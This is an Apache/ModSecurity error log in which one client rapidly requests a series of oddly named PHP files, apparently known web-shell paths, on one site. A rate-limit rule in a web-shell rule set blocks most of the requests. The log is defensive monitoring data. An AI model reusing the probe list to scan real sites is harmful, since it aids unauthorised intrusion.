[Mon May 04 23:52:15.464207 2026] [:error] [pid 61044:tid 61117] [client 4.204.197.96:42702] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "afjAr0w8w2zZZXI6H1u52wAAAA8"]
[Mon May 04 23:52:16.024564 2026] [:error] [pid 3341:tid 3357] [client 4.204.197.96:43052] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "afjAsE9o3_LordU0wW6eoAAAAI0"]
[Mon May 04 23:52:16.519657 2026] [:error] [pid 3341:tid 3350] [client 4.204.197.96:42719] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "afjAsE9o3_LordU0wW6eoQAAAIY"]
[Mon May 04 23:52:16.980836 2026] [:error] [pid 3341:tid 3359] [client 4.204.197.96:43038] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "afjAsE9o3_LordU0wW6eogAAAI8"]
[Mon May 04 23:52:17.435056 2026] [:error] [pid 3341:tid 3351] [client 4.204.197.96:42946] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-slss.php"] [unique_id "afjAsU9o3_LordU0wW6eowAAAIc"]
[Mon May 04 23:52:18.031818 2026] [:error] [pid 3341:tid 3354] [client 4.204.197.96:43031] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-slss.php"] [unique_id "afjAsk9o3_LordU0wW6epQAAAIo"]
[Mon May 04 23:52:18.534833 2026] [:error] [pid 3341:tid 3365] [client 4.204.197.96:42976] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-slss.php"] [unique_id "afjAsk9o3_LordU0wW6eqAAAAJU"]
[Mon May 04 23:52:19.106016 2026] [:error] [pid 3341:tid 3361] [client 4.204.197.96:42945] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-slss.php"] [unique_id "afjAs09o3_LordU0wW6erAAAAJE"]
[Mon May 04 23:52:19.542695 2026] [:error] [pid 61044:tid 61123] [client 4.204.197.96:43064] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "afjAs0w8w2zZZXI6H1u59gAAABU"]
[Mon May 04 23:52:20.181390 2026] [:error] [pid 3341:tid 3346] [client 4.204.197.96:43103] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "afjAtE9o3_LordU0wW6eswAAAII"]
[Mon May 04 23:52:20.640034 2026] [:error] [pid 3341:tid 3359] [client 4.204.197.96:43096] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "afjAtE9o3_LordU0wW6etAAAAI8"]
[Mon May 04 23:52:21.229812 2026] [:error] [pid 3341:tid 3358] [client 4.204.197.96:43059] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file30.php"] [unique_id "afjAtU9o3_LordU0wW6etwAAAI4"]
[Mon May 04 23:52:21.678551 2026] [:error] [pid 3341:tid 3345] [client 4.204.197.96:43051] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "afjAtU9o3_LordU0wW6eugAAAIE"]
[Mon May 04 23:52:22.239066 2026] [:error] [pid 3341:tid 3368] [client 4.204.197.96:43084] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "afjAtk9o3_LordU0wW6evQAAAJg"]
[Mon May 04 23:52:22.750996 2026] [:error] [pid 3341:tid 3349] [client 4.204.197.96:43071] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "afjAtk9o3_LordU0wW6evwAAAIU"]
[Mon May 04 23:52:23.284778 2026] [:error] [pid 3341:tid 3351] [client 4.204.197.96:43033] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "afjAt09o3_LordU0wW6exAAAAIc"]
[Mon May 04 23:52:23.733406 2026] [:error] [pid 3341:tid 3367] [client 4.204.197.96:42715] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "afjAt09o3_LordU0wW6exQAAAJc"]
[Mon May 04 23:52:24.489177 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:43113] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "afjAuE9o3_LordU0wW6eyQAAAIs"]
[Mon May 04 23:52:25.030902 2026] [:error] [pid 3341:tid 3364] [client 4.204.197.96:42704] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "afjAuU9o3_LordU0wW6eygAAAJQ"]
[Mon May 04 23:52:25.550714 2026] [:error] [pid 3341:tid 3352] [client 4.204.197.96:43047] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "afjAuU9o3_LordU0wW6ezgAAAIg"]
[Mon May 04 23:52:26.120881 2026] [:error] [pid 3341:tid 3350] [client 4.204.197.96:43068] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-at.php"] [unique_id "afjAuk9o3_LordU0wW6e0AAAAIY"]
[Mon May 04 23:52:26.791086 2026] [:error] [pid 61150:tid 61174] [client 4.204.197.96:42739] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-at.php"] [unique_id "afjAuu8QXWVLiwIGVpeolwAAAVU"]
[Mon May 04 23:52:27.304132 2026] [proxy_fcgi:error] [pid 61150:tid 61167] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:27.734214 2026] [proxy_fcgi:error] [pid 61150:tid 61176] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:27.947166 2026] [proxy_fcgi:error] [pid 61150:tid 61177] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:28.160316 2026] [proxy_fcgi:error] [pid 61150:tid 61153] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:28.398131 2026] [proxy_fcgi:error] [pid 61150:tid 61164] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:28.622219 2026] [proxy_fcgi:error] [pid 61150:tid 61175] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:28.835490 2026] [proxy_fcgi:error] [pid 61150:tid 61159] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:29.092730 2026] [proxy_fcgi:error] [pid 61150:tid 61170] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:29.331491 2026] [proxy_fcgi:error] [pid 61150:tid 61163] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:29.545593 2026] [proxy_fcgi:error] [pid 61150:tid 61162] [client 4.204.197.96:43065] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:52:31.070015 2026] [:error] [pid 61150:tid 61158] [client 4.204.197.96:43065] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-bonbon.php"] [unique_id "afjAv-8QXWVLiwIGVpeoqAAAAUU"]
[Mon May 04 23:52:31.572990 2026] [:error] [pid 32471:tid 32476] [client 4.204.197.96:42971] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-bonbon.php"] [unique_id "afjAv3mjpb9EYq6AqhKSKgAAAQI"]
[Mon May 04 23:52:32.114697 2026] [:error] [pid 32471:tid 32478] [client 4.204.197.96:42694] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-bonbon.php"] [unique_id "afjAwHmjpb9EYq6AqhKSLAAAAQQ"]
[Mon May 04 23:52:32.595098 2026] [:error] [pid 61043:tid 61078] [client 4.204.197.96:43046] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-bonbon.php"] [unique_id "afjAwJ8-LwtfURjiAbDpyAAAAEM"]
[Mon May 04 23:52:33.176184 2026] [:error] [pid 32471:tid 32477] [client 4.204.197.96:43049] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/at.php"] [unique_id "afjAwXmjpb9EYq6AqhKSMgAAAQM"]
[Mon May 04 23:52:33.702120 2026] [:error] [pid 61042:tid 61065] [client 4.204.197.96:42734] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/at.php"] [unique_id "afjAwUnAPPS1fjubA9RxjgAAANM"]
[Mon May 04 23:52:34.179281 2026] [:error] [pid 32471:tid 32494] [client 4.204.197.96:43120] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/at.php"] [unique_id "afjAwnmjpb9EYq6AqhKSNgAAARQ"]
[Mon May 04 23:52:34.632887 2026] [:error] [pid 3341:tid 3352] [client 4.204.197.96:42982] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/at.php"] [unique_id "afjAwk9o3_LordU0wW6e6QAAAIg"]
[Mon May 04 23:52:35.107912 2026] [:error] [pid 61150:tid 61172] [client 4.204.197.96:42729] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "afjAw-8QXWVLiwIGVpeorAAAAVM"]
[Mon May 04 23:52:35.542554 2026] [:error] [pid 61150:tid 61176] [client 4.204.197.96:43093] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "afjAw-8QXWVLiwIGVpeorQAAAVc"]
[Mon May 04 23:52:36.028597 2026] [:error] [pid 61042:tid 61060] [client 4.204.197.96:43067] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "afjAxEnAPPS1fjubA9RxkAAAAM4"]
[Mon May 04 23:52:36.558614 2026] [:error] [pid 3341:tid 3344] [client 4.204.197.96:42995] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "afjAxE9o3_LordU0wW6e6wAAAIA"]
[Mon May 04 23:52:37.068374 2026] [:error] [pid 61042:tid 61054] [client 4.204.197.96:43043] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "afjAxUnAPPS1fjubA9RxkwAAAMg"]
[Mon May 04 23:52:37.727385 2026] [:error] [pid 32471:tid 32482] [client 4.204.197.96:42691] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "afjAxXmjpb9EYq6AqhKSQAAAAQg"]
[Mon May 04 23:52:38.292468 2026] [:error] [pid 3341:tid 3353] [client 4.204.197.96:43101] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "afjAxk9o3_LordU0wW6e7QAAAIk"]
[Mon May 04 23:52:38.774160 2026] [:error] [pid 61044:tid 61116] [client 4.204.197.96:42711] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "afjAxkw8w2zZZXI6H1u6AgAAAA4"]
[Mon May 04 23:52:39.198724 2026] [:error] [pid 32471:tid 32481] [client 4.204.197.96:42733] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wuasr.php"] [unique_id "afjAx3mjpb9EYq6AqhKSQwAAAQc"]
[Mon May 04 23:52:39.777586 2026] [:error] [pid 32471:tid 32478] [client 4.204.197.96:43083] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wuasr.php"] [unique_id "afjAx3mjpb9EYq6AqhKSRQAAAQQ"]
[Mon May 04 23:52:40.210170 2026] [:error] [pid 32471:tid 32493] [client 4.204.197.96:42703] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wuasr.php"] [unique_id "afjAyHmjpb9EYq6AqhKSSQAAARM"]
[Mon May 04 23:52:40.653036 2026] [:error] [pid 61044:tid 61106] [client 4.204.197.96:43081] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wuasr.php"] [unique_id "afjAyEw8w2zZZXI6H1u6BAAAAAQ"]
[Mon May 04 23:52:41.145013 2026] [:error] [pid 61044:tid 61118] [client 4.204.197.96:42725] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revealability.php"] [unique_id "afjAyUw8w2zZZXI6H1u6BgAAABA"]
[Mon May 04 23:52:41.758021 2026] [:error] [pid 3341:tid 3360] [client 4.204.197.96:42743] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revealability.php"] [unique_id "afjAyU9o3_LordU0wW6e7gAAAJA"]
[Mon May 04 23:52:42.207346 2026] [:error] [pid 61150:tid 61171] [client 4.204.197.96:42746] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revealability.php"] [unique_id "afjAyu8QXWVLiwIGVpeotAAAAVI"]
[Mon May 04 23:52:42.641305 2026] [:error] [pid 61043:tid 61078] [client 4.204.197.96:42730] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revealability.php"] [unique_id "afjAyp8-LwtfURjiAbDp0AAAAEM"]
[Mon May 04 23:52:43.072349 2026] [:error] [pid 61042:tid 61051] [client 4.204.197.96:43017] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolv2.php"] [unique_id "afjAy0nAPPS1fjubA9RxmwAAAMU"]
[Mon May 04 23:52:43.512120 2026] [:error] [pid 61044:tid 61105] [client 4.204.197.96:43061] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolv2.php"] [unique_id "afjAy0w8w2zZZXI6H1u6CQAAAAM"]
[Mon May 04 23:52:43.984042 2026] [:error] [pid 61044:tid 61115] [client 4.204.197.96:43036] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolv2.php"] [unique_id "afjAy0w8w2zZZXI6H1u6CwAAAA0"]
[Mon May 04 23:52:44.443087 2026] [:error] [pid 61042:tid 61070] [client 4.204.197.96:43085] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolv2.php"] [unique_id "afjAzEnAPPS1fjubA9RxoQAAANg"]
[Mon May 04 23:52:44.881901 2026] [:error] [pid 32471:tid 32498] [client 4.204.197.96:42732] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iov.php"] [unique_id "afjAzHmjpb9EYq6AqhKSWAAAARg"]
[Mon May 04 23:52:45.338528 2026] [:error] [pid 3341:tid 3348] [client 4.204.197.96:42718] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iov.php"] [unique_id "afjAzU9o3_LordU0wW6e8AAAAIQ"]
[Mon May 04 23:52:45.750927 2026] [:error] [pid 32471:tid 32482] [client 4.204.197.96:42965] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iov.php"] [unique_id "afjAzXmjpb9EYq6AqhKSWgAAAQg"]
[Mon May 04 23:52:46.231981 2026] [:error] [pid 3341:tid 3364] [client 4.204.197.96:43071] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iov.php"] [unique_id "afjAzk9o3_LordU0wW6e9QAAAJQ"]
